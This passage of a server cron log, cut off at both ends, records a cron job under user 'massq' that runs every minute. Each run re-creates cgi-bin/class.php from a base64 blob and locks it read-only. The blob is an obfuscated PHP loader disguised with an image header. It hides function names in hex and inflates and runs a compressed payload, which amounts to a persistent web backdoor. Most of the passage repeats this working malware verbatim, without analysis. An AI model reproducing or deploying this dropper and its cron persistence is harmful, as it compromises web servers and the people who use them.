FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:29:01 server CROND[23555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:30:01 server CROND[23602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:30:01 server CROND[23603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:30:01 server CROND[23604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 17:30:01 server CROND[23605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:31:01 server CROND[23813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:32:01 server CROND[23867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:33:01 server CROND[23919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:34:01 server CROND[23964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:35:01 server CROND[24039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:35:01 server CROND[24040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:35:01 server CROND[24041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:35:01 server CROND[24042]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 17:35:01 server CROND[24043]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 17:36:01 server CROND[24158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:37:01 server CROND[24303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:38:01 server CROND[24334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:39:01 server CROND[24378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:39:01 server CROND[24379]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 17:40:01 server CROND[24443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:40:01 server CROND[24445]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:40:01 server CROND[24446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:40:01 server CROND[24447]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 17:41:01 server CROND[24555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:42:01 server CROND[24699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7